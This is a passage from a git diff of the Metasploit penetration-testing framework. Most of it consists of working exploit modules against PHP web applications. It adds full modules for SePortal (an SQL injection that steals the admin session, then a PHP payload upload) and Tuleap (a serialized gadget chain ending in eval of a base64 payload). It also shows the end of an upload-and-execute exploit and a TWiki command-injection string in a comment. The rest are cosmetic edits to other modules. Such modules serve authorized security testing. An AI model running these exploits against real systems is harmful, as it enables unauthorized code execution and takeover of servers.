Rex::MIME::Message.new + data.add_part(php, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{fname}")) + post_data = data.to_s + print_status("#{peer} - Uploading file '#{fname}' (#{php.length} bytes)") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "process-upload.php?name=#{fname}"), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data + ) + if !res + fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") + elsif res.code.to_i == 404 + fail_with(Failure::NotFound, "#{peer} - No process-upload.php found") + elsif res.code.to_i == 500 + fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}") + elsif res.code.to_i == 200 && res.body && res.body =~ /Failed to open output stream/ + fail_with(Failure::NotVulnerable, "#{peer} - Upload folder is not writable") + elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/ + fail_with(Failure::NotVulnerable, "#{peer} - File process-upload.php is not executable") + elsif res.code.to_i == 200 && res.body && res.body =~ /sys.config.php/ + fail_with(Failure::NotVulnerable, "#{peer} - Software is misconfigured") + # response on revision 118 onwards includes the file name + elsif res.code.to_i == 200 && res.body && res.body =~ /NewFileName/ + print_good("#{peer} - Payload uploaded successfully (#{fname})") + return fname + # response on revisions 100 to 117 does not include the file name + elsif res.code.to_i == 200 && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/ + print_warning("#{peer} - File upload may have failed") + return fname + else + vprint_debug("#{peer} - Received response: #{res.code} - #{res.body}") + fail_with(Failure::Unknown, "#{peer} - Something went wrong") + end + end + + # + # Execute uploaded file + # + def exec(upload_path) + print_status("#{peer} - Executing #{upload_path}...") + res = send_request_raw( + { 'uri' => normalize_uri(target_uri.path, upload_path) }, 5 + ) + if !res + print_status("#{peer} - Request timed out while executing") + elsif res.code.to_i == 404 + vprint_error("#{peer} - Not found: #{upload_path}") + elsif res.code.to_i == 200 + vprint_good("#{peer} - Executed #{upload_path}") + else + print_error("#{peer} - Unexpected reply") + end + end + + # + # upload && execute + # + def exploit + fname = upload + register_files_for_cleanup(fname) + exec("upload/files/#{fname}") # default for r-221 onwards + unless session_created? + exec("upload/temp/#{fname}") # default for r-100 to r-219 + end + end +end diff --git a/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb b/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb index b52203abec..f0aaa6d5e2 100644 --- a/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb +++ b/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/redmine_scm_exec.rb b/modules/exploits/unix/webapp/redmine_scm_exec.rb index 6f8853e346..113f7cc419 100644 --- a/modules/exploits/unix/webapp/redmine_scm_exec.rb +++ b/modules/exploits/unix/webapp/redmine_scm_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/seportal_sqli_exec.rb b/modules/exploits/unix/webapp/seportal_sqli_exec.rb new file mode 100644 index 0000000000..d5385a3fd3 --- /dev/null +++ b/modules/exploits/unix/webapp/seportal_sqli_exec.rb @@ -0,0 +1,174 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "SePortal SQLi Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability found in SePortal version 2.5. + When logging in as any non-admin user, it's possible to retrieve the admin session + from the database through SQL injection. The SQL injection vulnerability exists + in the "staticpages.php" page. This hash can be used to take over the admin + user session. After logging in, the "/admin/downloads.php" page will be used + to upload arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'jsass', # Discovery + 'xistence <xistence[at]0x90.nl>' # Metasploit module + ], + 'References' => + [ + ['CVE', '2008-5191'], + ['OSVDB', '46567'], + ['EDB', '32359'] + ], + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['SePortal', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Mar 20 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the SePortal installation', '/seportal']), + OptString.new('USER', [true, 'The non-admin user', 'test']), + OptString.new('PASS', [true, 'The non-admin password', 'test']) + ], self.class) + end + + def uri + return target_uri.path + end + + def check + # Check version + vprint_status("#{peer} - Trying to detect installed version") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "index.php") + }) + + if res and res.code == 200 and res.body =~ /Powered by \<b\>SePortal\<\/b\> (.*)/ + version = $1 + else + return Exploit::CheckCode::Unknown + end + + vprint_status("#{peer} - Version #{version} detected") + + if version.to_f <= 2.5 + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + + def exploit + + print_status("#{peer} - Logging in as user [ #{datastore['USER']} ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "login.php"), + 'vars_post' => { + "user_name" => datastore['USER'], + "user_password" => datastore['PASS'] + } + }) + + if res && res.code == 302 and res.get_cookies =~ /sessionid=([a-zA-Z0-9]+)/ + session = $1 + print_status("#{peer} - Login successful") + print_status("#{peer} - Session cookie is [ #{session} ]") + else + fail_with(Failure::Unknown, "#{peer} - Login was not succesful!") + end + + # Generate random string and convert to hex + sqlq = rand_text_alpha(8) + sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join + + # Our SQL Error-Based Injection string - The string will return the admin session between the words ABCD<hash>ABCD in the response page. + sqli = "1' AND (SELECT #{sqls} FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST(session_id AS CHAR),0x20)),1,50) " + sqli << "FROM seportal_sessions WHERE session_user_id=1 LIMIT 1" + sqli << "),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '0x#{sqls}'='0x#{sqls}" + + print_status("#{peer} - Retrieving admin session through SQLi") + res = send_request_cgi({ + 'method' => 'POST', + 'vars_get' => { "sp_id" => sqli }, + 'cookie' => "sessionid=#{session}", + 'uri' => normalize_uri(uri, "staticpages.php") + }) + + if res and res.code == 200 and res.body =~ /#{sqlq}([a-zA-Z0-9]+)#{sqlq}/ + adminhash = $1 + print_status("#{peer} - Admin session is [ #{adminhash} ]") + else + fail_with(Failure::Unknown, "#{peer} - Retrieving admin session failed!") + end + + # Random filename + payload_name = rand_text_alpha_lower(rand(10) + 5) + '.php' + # Random title + rand_title = rand_text_alpha_lower(rand(10) + 5) + # Random category ID + rand_catid = rand_text_numeric(4) + + post_data = Rex::MIME::Message.new + post_data.add_part("savefile", nil, nil, "form-data; name=\"action\"") + post_data.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{payload_name}\"") + post_data.add_part(rand_title, nil, nil, "form-data; name=\"file_title\"") + post_data.add_part(rand_catid, nil, nil, "form-data; name=\"cat_id\"") + + file = post_data.to_s + file.strip! + + print_status("#{peer} - Uploading payload [ #{payload_name} ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "admin", "downloads.php"), + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'cookie' => "sessionid=#{adminhash}", + 'data' => file + }) + + # If the server returns 200 and the body contains our payload name, + # we assume we uploaded the malicious file successfully + if not res or res.code != 200 + fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!") + end + + register_file_for_cleanup(payload_name) + + print_status("#{peer} - Requesting payload [ #{uri}/data/down_media/#{payload_name} ]") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "data", "down_media", "#{payload_name}") + }) + + # If we don't get a 200 when we request our malicious payload, we suspect + # we don't have a shell, either. + if res and res.code != 200 + print_error("#{peer} - Unexpected response, exploit probably failed!") + end + + end + +end diff --git a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb index 21c3775c5a..5503487ccc 100644 --- a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb +++ b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/skybluecanvas_exec.rb b/modules/exploits/unix/webapp/skybluecanvas_exec.rb index d6c3324dc1..b57f74698c 100644 --- a/modules/exploits/unix/webapp/skybluecanvas_exec.rb +++ b/modules/exploits/unix/webapp/skybluecanvas_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/sphpblog_file_upload.rb b/modules/exploits/unix/webapp/sphpblog_file_upload.rb index 555fe9b6e0..fdfed0a499 100644 --- a/modules/exploits/unix/webapp/sphpblog_file_upload.rb +++ b/modules/exploits/unix/webapp/sphpblog_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Simple PHP Blog <= 0.4.0 Remote Command Execution', + 'Name' => 'Simple PHP Blog Remote Command Execution', 'Description' => %q{ This module combines three separate issues within The Simple PHP Blog (<= 0.4.0) application to upload arbitrary data and thus execute a shell. The first @@ -112,10 +112,10 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => "user=#{user}&pass=#{pass}", }, 25) - if (res) + if res print_status("Successfully logged in as #{user}:#{pass}") - if (res.headers['Set-Cookie'] =~ /my_id=(.*)/) + if res.get_cookies =~ /my_id=(.*)/ session = $1 print_status("Successfully retrieved cookie: #{session}") return session diff --git a/modules/exploits/unix/webapp/spip_connect_exec.rb b/modules/exploits/unix/webapp/spip_connect_exec.rb index 0333f6ad1b..06bd9ecd7c 100644 --- a/modules/exploits/unix/webapp/spip_connect_exec.rb +++ b/modules/exploits/unix/webapp/spip_connect_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb index fd6fe00363..a8303ca871 100644 --- a/modules/exploits/unix/webapp/squash_yaml_exec.rb +++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb b/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb index 03f76e74cb..6157612aed 100644 --- a/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb +++ b/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb index 1a540d4a13..6c08aaa9af 100644 --- a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'SugarCRM <= 6.3.1 unserialize() PHP Code Execution', + 'Name' => 'SugarCRM unserialize() PHP Code Execution', 'Description' => %q{ This module exploits a php unserialize() vulnerability in SugarCRM <= 6.3.1 which could be abused to allow authenticated SugarCRM users to execute arbitrary @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote client.fs.file.rm(f) print_good("#{peer} - #{f} removed to stay ninja") rescue - print_error("#{peer} - Unable to remove #{f}") + print_warning("#{peer} - Unable to remove #{f}") end end end @@ -95,16 +95,16 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => data }) - if not res or res.headers['Location'] =~ /action=Login/ or not res.headers['Set-Cookie'] - print_error("#{peer} - Login failed with \"#{username}:#{password}\"") - return + if res.nil? || res.headers['Location'].include?('action=Login') || res.get_cookies.empty? + fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\"") end - if res.headers['Set-Cookie'] =~ /PHPSESSID=([A-Za-z0-9]*); path/ + if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*); path/ + session_id = $1 + elsif res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*);/ session_id = $1 else - print_error("#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)") - return + fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)") end print_status("#{peer} - Login successful with #{username}:#{password}") @@ -128,9 +128,8 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => data }) - if not res or res.code != 200 - print_error("#{peer} - Exploit failed: #{res.code}") - return + unless res && res.code == 200 + fail_with(Failure::Unknown, "#{peer} - Exploit failed: #{res.code}") end print_status("#{peer} - Executing the payload") @@ -143,11 +142,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Cmd' => Rex::Text.encode_base64(payload.encoded) } }) - - if res - print_error("#{peer} - Payload execution failed: #{res.code}") - return - end - end end + diff --git a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb index 6d1469c346..04e6167531 100644 --- a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb index 7aa18c42ea..2db6d449fb 100644 --- a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb index a476b9b900..b54648b7f0 100644 --- a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Tiki Wiki <= 8.3 unserialize() PHP Code Execution', + 'Name' => 'Tiki Wiki unserialize() PHP Code Execution', 'Description' => %q{ This module exploits a php unserialize() vulnerability in Tiki Wiki <= 8.3 which could be abused to allow unauthenticated users to execute arbitrary code diff --git a/modules/exploits/unix/webapp/trixbox_langchoice.rb b/modules/exploits/unix/webapp/trixbox_langchoice.rb index 133b26b8a0..817d0d3a3e 100644 --- a/modules/exploits/unix/webapp/trixbox_langchoice.rb +++ b/modules/exploits/unix/webapp/trixbox_langchoice.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status "We received the expected HTTP code #{target_code}" # We will need the cookie PHPSESSID to continue - cookies = response.headers['Set-Cookie'] + cookies = response.get_cookies # Make sure cookies were set if defined? cookies and cookies =~ PHPSESSID_REGEX @@ -145,7 +145,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status "The server responded to POST with HTTP code #{delivery_response.code}" # We will need the cookie PHPSESSID to continue - cookies = delivery_response.headers['Set-Cookie'] + cookies = delivery_response.get_cookies # Make sure cookies were set if cookies.nil? diff --git a/modules/exploits/unix/webapp/tuleap_unserialize_exec.rb b/modules/exploits/unix/webapp/tuleap_unserialize_exec.rb new file mode 100644 index 0000000000..037463b905 --- /dev/null +++ b/modules/exploits/unix/webapp/tuleap_unserialize_exec.rb @@ -0,0 +1,102 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Tuleap PHP Unserialize Code Execution', + 'Description' => %q{ + This module exploits a PHP object injection vulnerability in Tuelap <= 7.6-4 which could be + abused to allow authenticated users to execute arbitrary code with the permissions of the + web server. The dangerous unserialize() call exists in the 'src/www/project/register.php' + file. The exploit abuses the destructor method from the Jabbex class in order to reach a + call_user_func_array() call in the Jabber class and call the fetchPostActions() method from + the Transition_PostAction_FieldFactory class to execute PHP code through an eval() call. In + order to work, the target must have the 'sys_create_project_in_one_step' option disabled. + }, + 'License' => MSF_LICENSE, + 'Author' => 'EgiX', + 'References' => + [ + ['CVE', '2014-8791'], + ['OSVDB', '115128'], + ['URL', 'http://karmainsecurity.com/KIS-2014-13'], + ['URL', 'https://tuleap.net/plugins/tracker/?aid=7601'] + ], + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Generic (PHP Payload)', {}]], + 'DisclosureDate' => 'Nov 27 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, "The base path to the web application", "/"]), + OptString.new('USERNAME', [true, "The username to authenticate with" ]), + OptString.new('PASSWORD', [true, "The password to authenticate with" ]), + OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]), + Opt::RPORT(443) + ], self.class) + end + + def check + flag = rand_text_alpha(rand(10)+20) + res = exec_php("print #{flag};") + + if res and res.body and res.body.to_s =~ /#{flag}/ + return Exploit::CheckCode::Vulnerable + end + + Exploit::CheckCode::Safe + end + + def do_login() + print_status("#{peer} - Logging in...") + + username = datastore['USERNAME'] + password = datastore['PASSWORD'] + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'account/login.php'), + 'vars_post' => {'form_loginname' => username, 'form_pw' => password} + }) + + unless res && res.code == 302 + fail_with(Failure::NoAccess, "#{peer} - Login failed with #{username}:#{password}") + end + + print_status("#{peer} - Login successful with #{username}:#{password}") + res.get_cookies + end + + def exec_php(php_code) + session_cookies = do_login() + + chain = 'O:6:"Jabbex":2:{S:15:"\00Jabbex\00handler";O:12:"EventHandler":1:{S:27:"\00EventHandler\00authenticated";b:1;}' + chain << 'S:11:"\00Jabbex\00jab";O:6:"Jabber":3:{S:8:"_use_log";i:1;S:11:"_connection";O:5:"Chart":0:{}S:15:"_event_handlers";' + chain << 'a:1:{S:9:"debug_log";a:2:{i:0;O:34:"Transition_PostAction_FieldFactory":1:{S:23:"\00*\00post_actions_classes";' + chain << 'a:1:{i:0;S:52:"1;eval(base64_decode($_SERVER[HTTP_PAYLOAD]));die;//";}}i:1;S:16:"fetchPostActions";}}}}' + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'project/register.php'), + 'cookie' => session_cookies, + 'vars_post' => {'data' => chain}, + 'headers' => {'payload' => Rex::Text.encode_base64(php_code)} + }, 3) + end + + def exploit + print_status("#{peer} - Exploiting the PHP object injection...") + exec_php(payload.encoded) + end +end diff --git a/modules/exploits/unix/webapp/twiki_history.rb b/modules/exploits/unix/webapp/twiki_history.rb index 0d1d620094..0e2e00d06c 100644 --- a/modules/exploits/unix/webapp/twiki_history.rb +++ b/modules/exploits/unix/webapp/twiki_history.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/twiki_maketext.rb b/modules/exploits/unix/webapp/twiki_maketext.rb index 5a931d0f21..5b12cfd78e 100644 --- a/modules/exploits/unix/webapp/twiki_maketext.rb +++ b/modules/exploits/unix/webapp/twiki_maketext.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /TWIKISID=([0-9a-f]*)/ + if not res or res.code != 302 or res.get_cookies !~ /TWIKISID=([0-9a-f]*)/ return nil end @@ -106,7 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_good("crypttoken found: #{crypttoken}") if session.empty? - if res.headers['Set-Cookie'] =~ /TWIKISID=([0-9a-f]*)/ + if res.get_cookies =~ /TWIKISID=([0-9a-f]*)/ session = $1 else vprint_error("Error using anonymous access") @@ -225,4 +225,4 @@ end %MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}% -=end \ No newline at end of file +=end diff --git a/modules/exploits/unix/webapp/twiki_search.rb b/modules/exploits/unix/webapp/twiki_search.rb index 2af281e256..95ed12f2fe 100644 --- a/modules/exploits/unix/webapp/twiki_search.rb +++ b/modules/exploits/unix/webapp/twiki_search.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb index 4d27bc797b..182688550f 100644 --- a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb +++ b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -157,7 +157,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if res and res.code == 200 and res.body and res.body.to_s =~ /window\.location.*admincp/ and res.headers['Set-Cookie'] + if res and res.code == 200 and res.body and res.body.to_s =~ /window\.location.*admincp/ and !res.get_cookies.empty? session = res.get_cookies else return nil diff --git a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb index dcf88c8a12..71253fe75b 100644 --- a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb +++ b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,8 +28,8 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Adam Caudill <adam@adamcaudill.com>', # Vulnerability discovery - 'AverageSecurityGuy <stephen@averagesecurityguy.info>', # Metasploit Module + 'Adam Caudill <adam[at]adamcaudill.com>', # Vulnerability discovery + 'AverageSecurityGuy <stephen[at]averagesecurityguy.info>', # Metasploit Module 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], diff --git a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb index 9de059083a..c9eb84ea77 100644 --- a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb +++ b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -75,9 +75,9 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => data }, 25) - if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/ + if res and res.code == 302 and res.get_cookies =~ /sid/ vprint_good "#{peer} - Authentication successful" - session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0] + session = res.get_cookies.split("sid=")[1].split(";")[0] else vprint_error "#{peer} - Service found, but authentication failed" return Exploit::CheckCode::Detected @@ -118,8 +118,8 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => data }, 25) - if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/ - session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || '' + if res and res.code == 302 and res.get_cookies =~ /sid/ + session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || '' if session and not session.empty? print_good "#{peer} - Authentication successfully" else diff --git a/modules/exploits/unix/webapp/webtester_exec.rb b/modules/exploits/unix/webapp/webtester_exec.rb index b77b968d9e..7d6f169d17 100644 --- a/modules/exploits/unix/webapp/webtester_exec.rb +++ b/modules/exploits/unix/webapp/webtester_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -26,8 +26,8 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - ['OSVDB' => '98750'], - ['URL' => 'https://sourceforge.net/p/webtesteronline/bugs/3/'] + ['OSVDB', '98750'], + ['URL', 'https://sourceforge.net/p/webtesteronline/bugs/3/'] ], 'Payload' => { diff --git a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb index bdb1719f9c..008317ea7f 100644 --- a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb +++ b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -23,13 +23,14 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Charlie Eriksen <charlie[at]ceriksen.com>', + 'Charlie Eriksen <charlie[at]ceriksen.com>' ], 'License' => MSF_LICENSE, 'References' => [ ['OSVDB', '87353'], ['URL', 'http://secunia.com/advisories/51037/'], + ['WPVDB', '6103'] ], 'Privileged' => false, 'Payload' => @@ -37,8 +38,8 @@ class Metasploit3 < Msf::Exploit::Remote 'DisableNops' => true, 'Compat' => { - 'ConnectionType' => 'find', - }, + 'ConnectionType' => 'find' + } }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb index 09f4f1396f..78b84dce25 100644 --- a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,81 +8,77 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::PhpEXE + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper def initialize(info = {}) - super(update_info(info, + super(update_info( + info, 'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability', - 'Description' => %q{ - This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress - plugin. By abusing the upload.php file, a malicious user can upload a file to a + 'Description' => %q( + This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress + plugin. By abusing the upload.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. - }, + ), 'Author' => [ - 'Sammy FORGIT', # initial discovery - 'James Fitts <fitts.james[at]gmail.com>' # metasploit module + 'Sammy FORGIT', # initial discovery + 'James Fitts <fitts.james[at]gmail.com>' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ - [ 'OSVDB', '82653' ], - [ 'BID', '53809' ], - [ 'EDB', '18993' ], - [ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ] + ['OSVDB', '82653'], + ['BID', '53809'], + ['EDB', '18993'], + ['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html'], + ['WPVDB', '6106'] ], - 'Payload' => - { - 'BadChars' => "\x00", - }, 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Targets' => - [ - [ 'Generic (PHP 